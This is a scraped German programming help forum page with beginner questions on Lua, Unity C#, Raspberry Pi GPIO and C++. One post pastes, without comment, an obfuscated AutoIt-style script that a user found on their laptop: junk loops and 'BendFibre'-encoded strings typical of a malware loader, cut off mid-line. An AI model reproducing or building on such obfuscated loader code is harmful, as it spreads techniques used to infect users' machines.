Lua Programmiersprache lernen, empfehlenswerte Bücher?

Hallo Freunde,

ich habe seit 2015/16 angefangen Garry‘s Mod auf verschiedenen Gameservern zu spielen. Dort konnte bereits über 6.000 Spielstunden ansammeln.

2017 habe ich mich dann auch dem Serverteam bei einer etwas größeren Community angeschlossen. Dort fing alles an als Supporter.

Meine Neugier war selbstverständlich sehr hoch, wie solch ein Server überhaupt betrieben wird und wie es zu diesen ganzen Funktionen auf dem Server kommt. Ich eignete mir leichtes Grundwissen an und helfte als ,,Servertechniker“ aus. (Jobs schreiben/umschreiben, Skripte umschreiben/übersetzen und schließlich die Inbetriebnahme eines Gameservers)

2020 eröffnete ich dann meinen eigenen Server mit Skripten aus dem Gmodstore.

Nun möchte ich mich aber selbst an das Programmieren von solchen Skripts befassen, da mir die Arbeiten mit LUA damals schon Spaß gemacht hatten.

Allerdings habe ich keinen blassen Schimmer wie ich mit einem Skript überhaupt anfange, die Funktionen, das Overlay und alles was eben dazugehört.

Schlichtweg möchte ich erstmal einfacheren Skripte schreiben. (z.B Scoreboard und HUD)

Gibt es für die Programmiersprache LUA gute Bücher oder Webseiten die ihr mir empfehlen könntet?

Textprogramm mit dem ich damals gearbeitet habe war Notepad++, nun möchte ich aber mit Visual Code Studio arbeiten.

Ich hoffe ihr könnt mir weiterhelfen.

Computer, Computerspiele, Mods, Programm, Community, Webseite, Programmierer, programmieren, Garry's Mod, lua, Programmiersprache, Visual Studio, Visual Studio Code, Garry's Mod Server
Unity: Wieso läuft die Registrierung schief?

Hallo,

ich bin gerade dabei, ein Unity-Spiel zu programmieren. In dem Spiel soll man sich registrieren können, dabei benutze ich PlayFab. Bei dem Test der Registrierung läuft etwas schief und ich weiß einfach nicht wieso. Vielleicht könnt ihr mir weiterhelfen?

Danke für jede Antwort.

Unity:

Das Spiel:

Das Skript:

using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using PlayFab.ClientModels;
using PlayFab;
using System;
using UnityEditor.PackageManager.Requests;
using UnityEngine.UI;
using TMPro;
using PlayFab.PfEditor;

public class PlayFabLoginScript : MonoBehaviour
{
  public TextMeshProUGUI regPassword, regUsername, regEmail;
  public GameObject regPanel;

  // Start is called before the first frame update
  void Start()
  {
    var request = new LoginWithCustomIDRequest { CustomId = "GettingStardedGuide", CreateAccount = true };
    PlayFabClientAPI.LoginWithCustomID(request, OnLoginSucces, OnLoginFailure);
  }

  private void OnLoginFailure(PlayFabError obj)
  {
    Debug.Log("Es ist etwas schief gelaufen");
  }

  private void OnLoginSucces(LoginResult obj)
  {
    Debug.Log("API Call hat funktioniert");
  }

  public void Register()
  {
    var request = new RegisterPlayFabUserRequest();
    request.TitleId = PlayFabSettings.TitleId;
    request.Email = regEmail.text;
    request.Username = regUsername.text;
    request.Password = regPassword.text;
    PlayFabClientAPI.RegisterPlayFabUser(request, OnRegisterResult, OnPlayFabError);
  }

  private void OnPlayFabError(PlayFabError obj)
  {
    print("Error:" + obj.Error);
  }

  private void OnRegisterResult(RegisterPlayFabUserResult obj)
  {
    print("Registrierung hat funktioniert");
    regPanel.SetActive(false);
  }
Bild zum Beitrag
C Sharp, Code, Programmiersprache, Spieleentwicklung, Visual Studio, Unity
Wie kann ich bei Unity einem 2D generierten Mesh einen Collider geben?

Ich arbeite in Unity zurzeit an einen kleinen Projekt und bin auf folgendes Problem gestoßen:

Ich generiere dieses Mesh mit Perlin Noises, also quasi eine Berglandschaft. Sie sieht auch gut aus, nur jetzt habe ich das Problem mit den Collider. Und zwar mache ich das aktuell mit einem Polygon Collider, wo ich die Punkte per Code selber erstelle:

private void GenCollider()
{
  GrassMashObject.AddComponent<PolygonCollider2D>();
  GrassMashObject.GetComponent<PolygonCollider2D>().sharedMaterial = GrassPhysics;
  PolygonCollider2D polygonCollider = GrassMashObject.GetComponent<PolygonCollider2D>();

  if (polygonCollider != null)
  {
    Vector2[] points = new Vector2[(WorldSize + 1) * (yHight + 1)];

    for (int i = 0, y = 0; y <= yHight; y++)
    {
      for (int x = 0; x <= WorldSize; x++)
      {
        points[i] = new Vector2(x, y - (WorldSize / 4f));

        if (y == 1)
        {
          float perlin1 = (float)x / PerlinScale;
          float perlin2 = (float)y / PerlinScale;
          float perlin3 = Mathf.PerlinNoise(perlin1, perlin2);
          float perlin4 = Mathf.PerlinNoise(perlin1 * 2, perlin2 * 2);
          float perlin5 = Mathf.PerlinNoise(perlin1 / 2, perlin2 / 2);
          points[i].y = y + ((perlin3 + perlin4 + perlin5) * PerlinHeight);
        }

        i++;
      }
    }

    polygonCollider.points = points;
  }
}

Es funktioniert ganz gut, nur werden manche Punkte falsch zusammengesetzt und deshalb werden sehr unnötige "Linien" zwischen den Punkten generiert. Deshalb kommt es auch manchmal zu massiven Performenceeinbrüchen.

Ich bin für jede Hilfe dankbar! Danke im Voraus!

C Sharp, Visual Studio
Mein Code funktioniert nicht für eine Motorsteuerung über den Raspberry?

Ich versuche eine Steuerung für einen Miniatur-Kran mit einem raspberry zu bauen. Die Steuerung läuft über eine HTML-Website (Laut Chat-gpt ist die richtig, einfach fragen wenn ihr das Script dazu noch benötigt). Auf Putty kommt die Meldung, sobald ich auf dem Knopf drücke, das der GPIO-Pin kein Pin auf dem Raspberry ist.

Das ist das Code:

using Microsoft.AspNetCore.Mvc;
using System.Device.Gpio;
using System.Numerics;

namespace Kransteuerung_MEKW.Controllers
{
  [ApiController]
  [Route("[controller]")]
  public class CraneController : ControllerBase
  {
    private readonly GpioController _gpioController;
    private readonly ILogger<CraneController> _logger;

    public CraneController(ILogger<CraneController> logger)
    {
      _logger = logger;
      _gpioController = new GpioController(PinNumberingScheme.Board);
      var allOutputPinNumbers = new List<int>{ 3 };
      _logger.LogInformation("Setze alle GPIO Pins auf Output start");
      foreach (int pinNumber in allOutputPinNumbers)
      {
        var pin = _gpioController.OpenPin(pinNumber);
        pin.SetPinMode(PinMode.Output);
        pin.Write(PinValue.Low);
      }
      _logger.LogInformation("Setze alle GPIO Pins auf Output fertig");
       
    }
    
    [HttpGet()]
    public string Info()
    {
      return "Mögliche Posts: crane/turnLeftStart oder crane/turnLeftStop";
    }
    [HttpPost("turnLeftStart")]
    public void TurnLeftStart()
    {

      _logger.LogInformation("Kran dreht links start");
      
      var pin = _gpioController.OpenPin(3);
      pin.Write(PinValue.High);
    }

    [HttpPost("turnRightStart")]
    public void TurnRightStart()
    {
      _logger.LogInformation("Kran dreht rechts start");
       
      var pin = _gpioController.OpenPin(4);
      pin.Write(PinValue.High);
    }

    [HttpPost("turnLeftStop")]
    public void TurnLeftStop()
    {
      _logger.LogInformation("Kran dreht links stop");
      var pin = _gpioController.OpenPin(3);
      pin.Write(PinValue.Low);
    }

    [HttpPost("turnRightStop")]
    public void TurnRightStop()
    {
      _logger.LogInformation("Kran dreht rechts stop");
      var pin = _gpioController.OpenPin(4);
      pin.Write(PinValue.Low);
    }
  }
}
Motor, Visual Studio, Raspberry Pi 4
Warum kann ich den Typ "InputManager" in Unity nicht nutzen ohne Error?

Hallo an alle,

ich bin sehr neu im Bereich Spieleentwicklung mit Unity und möchte ein simples Spiel programmieren, in dem man verschiedene Räume gestalten kann. also hab ich mir ein Tutorial herausgesucht ( https://www.youtube.com/watch?v=l0emsAHIBjU&list=PLcRSafycjWFepsLiAHxxi8D_5GGvu6arf ) in dem dies erklärt wird. Bei 3:47 benutzt er den Typ "InputManager" im zweiten SerializeField.

Wenn ich jedoch das Script so kopiere wie er es im Video schreibt, zeigt mir Unity einen Fehler bei "InputManager" an. Da er im Video sagt, dass er das alte Input System nutzt hab ich dieses auch eingestellt.

Da ich nicht wirklich viel Ahnung von dem habe was er da schreibt, hab ich im Internet nach einer Lösung gesucht, doch scheinbar nutzt niemand diesen Typ. Vielen Dank im Voraus für die Antwort

P.S.: Ich habe ein Bild von Visual Studio eingefügt in dem auch der Error zu sehen ist.

using System.Collections;
using System.Collections.Generic;
using UnityEngine;


public class PlacementSystem : MonoBehaviour
{
    [SerializeField]
    private GameObject mouseIndicator;
    [SerializeField]
    private InputManager inputManager;


    private void Update()
    {
        Vector3 mousePosition = inputManager.GetSelectedMapPosition();
        mouseIndicator.transform.position = mousePosition;
    }
}
Bild zum Beitrag
Software, C Sharp, Code, Error, Fehlerbehebung, Programmiersprache, Spieleentwicklung, Unity 3D, Visual Studio, Fehlermeldung, input, Unity
Könnt ihr mir bei meinem Skript helfen?

Hallo, ich habe die letzten Stunden ein Skript programmiert, aber es funktioniert nicht. Mir wird GetComponent<ShootingAi> falsch angezeigt. Die letzten Male hat es noch funktioniert, aber jetzt nicht mehr.

Hier ist das Skript. Der Fehler ist bei // RayCast:

using System.Collections;
using System.Collections.Generic;
using System.Xml.Serialization;
using UnityEngine;
using TMPro;

public class GunSystem : MonoBehaviour
{
  // Werte
  public int damage;
  public float timeBetweenShooting;
  public float spread;
  public float range;
  public float reloadTime;
  public float timeBetweenShots;
  public int magazineSize;
  public int bulletsPerTap;
  public bool allowButtonHold;
  private int bulletsLeft;
  private int bulletsShot;

  // Bool
  bool shooting;
  bool readyToShoot;
  bool reloading;

  // Referenz
  public Camera fpsCam;
  public Transform attackpoint;
  public RaycastHit rayHit;
  public LayerMask whatIsEnemy;

  // Grafik
  public GameObject muzzleFlash;
  public GameObject bulletHoleGraphic;
  public float camShakeMagnitude;
  public float camShakeDuration;
  public TextMeshProUGUI text;

  private void Awake()
  {
    bulletsLeft = magazineSize;
    readyToShoot = true;
  }

  private void Update()
  {
    MyInput();
    text.SetText(bulletsLeft + "/" + magazineSize);
  }

  private void MyInput()
  {
    if (allowButtonHold)
    {
      shooting = Input.GetKey(KeyCode.Mouse0);
    }
    else
    {
      shooting = Input.GetKeyDown(KeyCode.Mouse0);
    }

    if (Input.GetKeyDown(KeyCode.R) && bulletsLeft < magazineSize && !reloading)
    {
      Reload();
    }

    // Shoot
    if (readyToShoot && shooting && !reloading && bulletsLeft > 0)
    {
      bulletsShot = bulletsPerTap;
      Shoot();
    }
  }

  private void Shoot()
  {
    readyToShoot = false;
    // Spread
    float x = Random.Range(-spread, spread);
    float y = Random.Range(-spread, spread);

    // Calculate Direction with Spread
    Vector3 direction = fpsCam.transform.forward + new Vector3(x, y, 0);

    // RayCast
    if (Physics.Raycast(fpsCam.transform.position, direction,  out rayHit, range, whatIsEnemy))
    {
      Debug.Log(rayHit.collider.name);

      if (rayHit.collider.CompareTag("Enemy"))
      {
        rayHit.collider.GetComponent<ShootingAi>().TakeDamage(damage);
      }
    }

    // Graphics
    Instantiate(bulletHoleGraphic, rayHit.point, Quaternion.Euler(0, 180, 0));
    Instantiate(muzzleFlash,attackpoint.position, Quaternion.identity);

    bulletsLeft--;
    bulletsShot--;

    Invoke("ResetShot", timeBetweenShooting);

    if (bulletsShot > 0 && bulletsLeft > 0)
    {
      Invoke("Shoot", timeBetweenShots);
    }
  }

  private void ResetShot()
  {
    readyToShoot = true;
  }

  private void Reload()
  {
    reloading = true;
    Invoke("ReloadFinished", reloadTime);
  }

  private void ReloadFinished()
  {
    bulletsLeft = magazineSize;
    reloading = false;
  }
}

Ich komme echt nicht mehr weiter und bräuchte etwas Hilfe.

C Sharp, Visual Studio, Unity
random so auf dem Laptop aufgetaucht was ist das?

Hallo miteinander, ich habe diese "i" Datei einfach so auf Dem Rechner gefunden und wollte Einfach mal wissen was es ist, hier ist der Link dazu: [Link vom Support entfernt]

FILExt seit 2000 $DrawAlternative = 23 $LeaseSucceed = 50 For $WpQYhhOY = 62 To 328 If $DrawAlternative = 21 Then ACos(7367) DriveStatus(BendFibre("66R97R110R97R110R97R47R82R101R115R99R117R101R47R71R98R112R47",0/1)) Sqrt(3520) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 22 Then FileExists(BendFibre("68R105R118R115R100R105R43R84R118R113R102R115R119R106R116R112R115R43R85R98R109R108R116R43",4/4)) PixelGetColor(BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2), BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2)) Dec(BendFibre("89R107R103R121R117R116R103R114R100R76R107R107R121R100R90R111R121R121R123R107R100",30/5)) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 23 Then Opt(BendFibre("88R118R101R125R77R103R115R114R76R109R104R105",24/6), 1) ExitLoop EndIf If $DrawAlternative = 24 Then ConsoleWriteError(BendFibre("87R112R107R118R123R45R67R112R107R111R103R45R75R112R118R103R116R112R103R118R45",8/4)) Chr(1517) $DrawAlternative = $DrawAlternative + 1 EndIf Next Func WholesaleHaitiReminderCompleting($annemeets, $AmazoncoukLay, $DICKMATSSLIM, $prisonerexhaustnbentry, $yukonaviationjaystadium, $ProportionPin, $gpautumnproductionspiritual, $werepresentedbaldborders, $electronicknowledgechristina) $ALTOPERSONALLY = '5405010214968952063493898807967726088594171878677126840372' $StephenNsSapAdditional = 48 $TerraceTerrible = 87 For $UbtIoS = 40 To 921 If $StephenNsSapAdditional = 47 Then ACos(6960) PixelGetColor(94, 568, 0) ATan(1964) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf If $StephenNsSapAdditional = 48 Then $BITCHDUBAIDIARYM = Sqrt(7992) ExitLoop EndIf If $StephenNsSapAdditional = 49 Then ASin(824) ConsoleWriteError(BendFibre("85R116R120R106R66R81R106R108R110R120R113R102R121R122R119R106R66R76R122R110R113R105R66R73R110R123R125R66",5/1)) FileExists(BendFibre("85R103R112R102R117R34R84R103R101R113R112R117R118R116R119R101R118R107R113R112R34R88R103R118R103R116R99R112R117R34R86R99R100R110R103R118R34",2/1)) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf Next $SPIESSUBMISSIONOCCASIONAL = '277738451445807690080798083527466278916798997871293099' $distributorafterwards = 6 $MythAvailable = 56 For $tCvjcSsLv = 31 To 519 If $distributorafterwards = 4 Then Dec(BendFibre("71R85R68R80R68R35R76R81R71R76R68R81R68R35R79R76R87R75R88R68R81R76R68R35R69R79R89R71R35",27/9)) Exp(9587) PixelGetColor(45, 170, 0) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 5 Then PixelGetColor(35, 618, 0) ConsoleWriteError(BendFibre("85R103R103R109R103R116R117R49R81R116R107R103R112R118R99R118R107R113R112R49R78R99R121R117R119R107R118R49R85R119R110R110R107R120R99R112R49",16/8)) ACos(5577) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 6 Then $representativexnxxpetroleummagnet = Sqrt(217) ExitLoop EndIf If $distributorafterwards = 7 Then Chr(835) Dec(BendFibre("65R99R99R117R114R97R116R101R33",0/4)) $distributorafterwards = $distributorafterwards + 1 EndIf Next $COMPRESSEDENVIRONMENTAL = '4577431951295599919326669678' $OrderingAka = 81 $EVOLUTIONPACKETSCOMPETITIVE = 51 For $hdma = 92 To 283 If $OrderingAka = 80 Then Exp(6961) ASin(2467) DriveStatus(BendFibre("113R121R68",36/9)) $OrderingAka = $OrderingAka + 1 EndIf If $OrderingAka = 81 Then $hipdisplayoriginalalignment = ASin(1467) ExitLoop EndIf Next $FROSTAFFILIATESCOLONIAL = '018963007035438608543348846914979471546604839410592769688' $FINISHINGWHENEVERNODES = 23 $YOURTAPESDEATHSDUST = 50 For $ZLaruUIk = 65 To 201 If $FINISHINGWHENEVERNODES = 22 Then Chr(7045) PixelGetColor(BendFibre("78R119R124R126R123R110R56",63/7), BendFibre("78R119R124R126R123R110R56",63/7)) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf If $FINISHINGWHENEVERNODES = 23 Then $COPPERRACHELBEAVERVP = PixelGetColor(43, 391, 0) ExitLoop EndIf If $FINISHINGWHENEVERNODES = 24 Then ATan(8608) Sqrt(5933) PixelGetColor(66, 437, 0) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf Next $DEVELOPMENTEDITORIALARTHRITIS = '804534994533913976475826179188086637374026519863466805618856582756738' $IncorporateVilla = 30 $GottenLoops = 53 For $zGCEXLS = 96 To 915 If $IncorporateVilla = 29 Then Dec(BendFibre("81R123R116R105R117R72R91R107R105R118R118R109R108R72",16/2)) Exp(9251) $IncorporateVilla = $IncorporateVilla + 1 EndIf If $IncorporateVilla = 30 Then $AppearsContainedHottest = ConsoleWriteError(BendFibre("87R107R108R81R105R120R73R77R114R109R106R83R108R122R110R90",6/2)) ExitLoop EndIf If $IncorporateVilla = 31 Then ATan(2355) Dec(BendFibre("77R79R82R82R73R83R43R67R65R43",0/3)) $IncorporateVilla = $IncorporateVilla + 1 EndIf Next $ListingsGc = '9632358956507871259104285367395025565' $validitygrandn

Visual Basic, VBA, Code, Dummheit, Entschlüsseln, Hacking, lua, Programmiersprache, Python, Visual Studio, VBA Excel
CPP Anfänger Code hilfe?
#include <iostream>
#include <cmath>
using namespace std;


double Addition(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die addiert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die addiert werden soll: ";
    cin >> zahl2;
    double Summe = zahl1 + zahl2;
    cout << "Die Summe ist: " << Summe << endl;
    return zahl1 + zahl2;
}


double Subtraktion(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die subtrahiert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die subtrahiert werden soll: ";
    cin >> zahl2;
    double Differenz = zahl1 - zahl2;
    cout << "Die Differenz ist: " << Differenz << endl;
    return zahl1 - zahl2;
}


double Multiplikation(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die multipliziert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die multipliziert werden soll: ";
    cin >> zahl2;
    double Produkt = zahl1 * zahl2;
    cout << "Das Produkt ist: " << Produkt << endl;
    return zahl1 * zahl2;
}


double Division(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die dividiert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die dividiert werden soll: ";
    cin >> zahl2;
    double Qoutient = zahl1 / zahl2;
    cout << "Der Quotient ist: " << Qoutient << endl;
    return zahl1 / zahl2;
}


double Potenz()
{
    double Basis;
    double Potenz;
    double Ergebnis;
    cout << "Gebe die Basis ein" << endl;
    cin >> Basis;
    cout << "Gebe die Potenz ein" << endl;
    cin >> Potenz;
    Ergebnis = pow(Basis, Potenz);
    cout << "Die Potenz ist: " << Ergebnis << endl;
    return pow(Basis, Potenz);
}


int main()
{
    char Rechenoperator;
    cout << "UNIVERSAL RECHNER" << endl;
    cout << "Bitte wähle die Rechenoperation aus" << endl;
    cout << "Addition(+)\nSubtraktion(-)\nMultiplikation(*)\nDivision(/)" << endl;
    cout << "Potenz(^)\nWurzel(<)\nProzent(%)" << endl;
    cin >> Rechenoperator;


    switch (Rechenoperator)
    {
    case '+':
        Addition(zahl1, zahl2);
        break;
    case '-':
        Subtraktion(zahl1, zahl2);
        break;
    case '*':
        Multiplikation(zahl1, zahl2);
        break;
    case '/':
        Division (zahl1, zahl2);
        break; 
    case '^':
        Potenz(Basis, Potenz);
        break;


    default:
        cout << "Ungültige Eingabe" << endl;
    }


    return 0;
}

main.cpp: In function ‘int main()’:
main.cpp:75:18: error: ‘zahl1’ was not declared in this scope
   75 |         Addition(zahl1, zahl2);
      |                  ^~~~~
main.cpp:75:25: error: ‘zahl2’ was not declared in this scope
   75 |         Addition(zahl1, zahl2);
      |                         ^~~~~
main.cpp:87:16: error: ‘Basis’ was not declared in this scope
   87 |         Potenz(Basis, Potenz);
Cplusplus, Array, Code, CPP, Programmiersprache, Visual Studio, Algorithmus

Meistgelesene Beiträge zum Thema Visual Studio